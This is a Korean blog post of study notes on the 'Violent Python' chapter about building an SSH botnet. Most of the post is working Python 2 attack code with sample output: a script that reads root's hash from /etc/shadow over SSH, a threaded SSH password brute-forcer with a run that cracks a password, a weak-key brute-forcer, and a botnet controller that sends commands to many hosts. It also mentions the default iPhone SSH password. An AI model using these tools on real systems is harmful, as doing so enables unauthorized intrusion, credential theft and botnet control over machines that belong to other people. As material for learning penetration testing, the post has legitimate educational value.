Notice : 해당 자료가 저작권등에 의해서 문제가 있다면 바로 삭제하겠습니다.
연구목적으로 사용하지 않고 악의적인 목적으로 이용할 경우 발생할 수 있는 법적은 책임은 모두 본인에게 있습니다.
해커의 언어, 치명적 파이썬 – CHAPTER 1 소개
해커의 언어, 치명적 파이썬 – CHAPTER 2 침투 테스트 – 포트 스캐너 만들기
해커의 언어, 치명적 파이썬 – CHAPTER 2 침투 테스트 – SSH 봇넷 구축하기
해커의 언어, 치명적 파이썬 – CHAPTER 2 침투 테스트 – FTP와 웹을 이용한 대규모 공격
해커의 언어, 치명적 파이썬 – CHAPTER 2 침투 테스트 – 컨피커 노력하면 된다
2.3 파이썬으로 SSH 봇넷 구축하기
– 최근에는 공개키 암호화와 RSH 를 함께 사용하는 시큐어쉘(SSH) 프로토콜로 대체
2.3.1 Pexpect로 SSH 연결하기
– ssh는 사용자가 직접 입력하는 부분 존재(id, pw)
– 자동화를 위해 Pexpect 모듈 사용(결과값을 바탕으로 응답하기 기능)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
#!/usr/bin/python # -*- coding: utf-8 -*- import pexpect PROMPT = ['# ', '>>> ', '> ','\$ '] def send_command(child, cmd): child.sendline(cmd) child.expect(PROMPT) print child.before def connect(user, host, password): ssh_newkey = 'Are you sure you want to continue connecting' connStr = 'ssh ' + user + '@' + host child = pexpect.spawn(connStr) ret = child.expect([pexpect.TIMEOUT, ssh_newkey, '[P|p]assword:']) if ret == 0: print '[-] Error Connecting' return if ret == 1: child.sendline('yes') ret = child.expect([pexpect.TIMEOUT, '[P|p]assword:']) if ret == 0: print '[-] Error Connecting' return child.sendline(password) child.expect(PROMPT) return child def main(): host = 'localhost' user = 'root' password = '*****' child = connect(user, host, password) send_command(child, 'cat /etc/shadow | grep root') if __name__ == '__main__': main() |
실행결과 :
1 2 3 |
# python sshCmd.py cat /etc/shadow | grep root root:$6$rnI.plh.$eScWBPApCMHM..........n9zpvmlkrzX/:15882:0:99999:7::: |
2.3.2 Pxssh로 SSH 패스워드 공격하기
– Pxssh는 Pexpect 라이브러리에 있는 ssh 특화 스크립트 (login(), logout(), prompt() 등의 메소드 제공)
– 아이폰의 디폴트 패스워드? (alpine), ssh가 탈옥한 아이폰을 공격하여 ssh 서버를 활성화
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 |
#!/usr/bin/python # -*- coding: utf-8 -*- import pxssh import optparse import time from threading import * maxConnections = 5 connection_lock = BoundedSemaphore(value=maxConnections) Found = False Fails = 0 def connect(host, user, password, release): global Found global Fails try: s = pxssh.pxssh() s.login(host, user, password) print '[+] Password Found: ' + password Found = True except Exception, e: if 'read_nonblocking' in str(e): Fails += 1 time.sleep(5) connect(host, user, password, False) elif 'synchronize with original prompt' in str(e): time.sleep(1) connect(host, user, password, False) finally: if release: connection_lock.release() def main(): parser = optparse.OptionParser('usage %prog -H <target host> -u <user> -F <password list>' ) parser.add_option('-H', dest='tgtHost', type='string', help='specify target host') parser.add_option('-F', dest='passwdFile', type='string', help='specify password file') parser.add_option('-u', dest='user', type='string', help='specify the user') (options, args) = parser.parse_args() host = options.tgtHost passwdFile = options.passwdFile user = options.user if host == None or passwdFile == None or user == None: print parser.usage exit(0) fn = open(passwdFile, 'r') for line in fn.readlines(): if Found: print "[*] Exiting: Password Found" exit(0) if Fails > 5: print "[!] Exiting: Too Many Socket Timeouts" exit(0) connection_lock.acquire() password = line.strip('\r').strip('\n') print "[-] Testing: "+str(password) t = Thread(target=connect, args=(host, user, password, True)) child = t.start() if __name__ == '__main__': main() |
실행결과 :
1 2 3 4 5 6 7 8 9 10 11 12 13 |
# python sshBrute.py -H 127.0.0.1 -u apollo89 -F best_passwords.txt ... [-] Testing: 12345678 [-] Testing: 123456789 [-] Testing: 123456a [-] Testing: 123456qwerty [-] Testing: 123abc [-] Testing: 123qaz [-] Testing: 123qwe [-] Testing: 1q2w3e [+] Password Found: 123456a [-] Testing: 1q2w3e4r [*] Exiting: Password Found |
2.3.3 취약한 개인 키를 통한 SSH 공격하기
– ssh 는 공개키 암호로 인증할수 있는 기능도 제공
– 취약한 키를 테스트 하는 스크립트는 패스워드를 무차별 대입하는 공격과 유사
– https://github.com/ChFernandez/PenTools -> debian_ssh_dsa_1024_x86/ debian_ssh_rsa_1024_x86 다운안됨..ㅠ
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 |
#!/usr/bin/python # -*- coding: utf-8 -*- import pexpect import optparse import os from threading import * maxConnections = 5 connection_lock = BoundedSemaphore(value=maxConnections) Stop = False Fails = 0 def connect(user,host,keyfile,release): global Stop global Fails try: perm_denied = 'Permission denied' ssh_newkey = 'Are you sure you want to continue' conn_closed = 'Connection closed by remote host' opt = ' -o PasswordAuthentication=no' connStr = 'ssh ' + user + '@' + host + ' -i ' + keyfile + opt child = pexpect.spawn(connStr) ret = child.expect([pexpect.TIMEOUT,perm_denied, ssh_newkey,conn_closed,'$','#',]) if ret == 2: print '[-] Adding Host to ~/.ssh/known_hosts' child.sendline('yes') connect(user, host, keyfile, False) elif ret == 3: print '[-] Connection Closed By Remote Host' Fails += 1 elif ret > 3: print '[+] Success. ' + str(keyfile) Stop = True finally: if release: connection_lock.release() def main(): parser = optparse.OptionParser('usage %prog -H <target host> -u <user> -d <directory>') parser.add_option('-H', dest='tgtHost', type='string', help='specify target host') parser.add_option('-d', dest='passDir', type='string', help='specify directory with keys') parser.add_option('-u', dest='user', type='string', help='specify the user') (options, args) = parser.parse_args() host = options.tgtHost passDir = options.passDir user = options.user if host == None or passDir == None or user == None: print parser.usage exit(0) for filename in os.listdir(passDir): if Stop: print '[*] Exiting: Key Found.' exit(0) if Fails > 5: print '[!] Exiting: '+\ 'Too Many Connections Closed By Remote Host.' print '[!] Adjust number of simultaneous threads.' exit(0) connection_lock.acquire() fullpath = os.path.join(passDir, filename) print '[-] Testing keyfile ' + str(fullpath) t = Thread(target=connect, args=(user, host, fullpath, True)) child = t.start() if __name__ == '__main__': main() |
2.3.4 SSH 봇넷 구축하기
– 여러 호스트를 동시에 제어
– 자발적인 봇넷 : 어나니머스에서 자발적 봇넷을 이용해서 공격
– 클래스 객체를 생성해 사용
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 |
#!/usr/bin/python # -*- coding: utf-8 -*- import optparse import pxssh class Client: def __init__(self, host, user, password): self.host = host self.user = user self.password = password self.session = self.connect() def connect(self): try: s = pxssh.pxssh() s.login(self.host, self.user, self.password) return s except Exception, e: print e print '[-] Error Connecting' def send_command(self, cmd): self.session.sendline(cmd) self.session.prompt() return self.session.before def botnetCommand(command): for client in botNet: output = client.send_command(command) print '[*] Output from ' + client.host print '[+] ' + output def addClient(host, user, password): client = Client(host, user, password) botNet.append(client) botNet = [] addClient('127.0.0.1', 'root', '*****') addClient('127.0.0.1', 'root', '*****') addClient('127.0.0.1', 'root', '*****') botnetCommand('uname -v') botnetCommand('cat /etc/issue') |
실행결과 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
# python botNet.py [*] Output from 127.0.0.1 [+] uname -v #1 SMP Fri Feb 17 10:34:20 EST 2012 [*] Output from 127.0.0.1 [+] uname -v #1 SMP Fri Feb 17 10:34:20 EST 2012 [*] Output from 127.0.0.1 [+] uname -v #1 SMP Fri Feb 17 10:34:20 EST 2012 [*] Output from 127.0.0.1 [+] cat /etc/issue BackTrack 5 R3 - 64 Bit \n \l [*] Output from 127.0.0.1 [+] cat /etc/issue BackTrack 5 R3 - 64 Bit \n \l [*] Output from 127.0.0.1 [+] cat /etc/issue BackTrack 5 R3 - 64 Bit \n \l |
2 Responses to 해커의 언어, 치명적 파이썬 – CHAPTER 2 침투 테스트 – SSH 봇넷 구축하기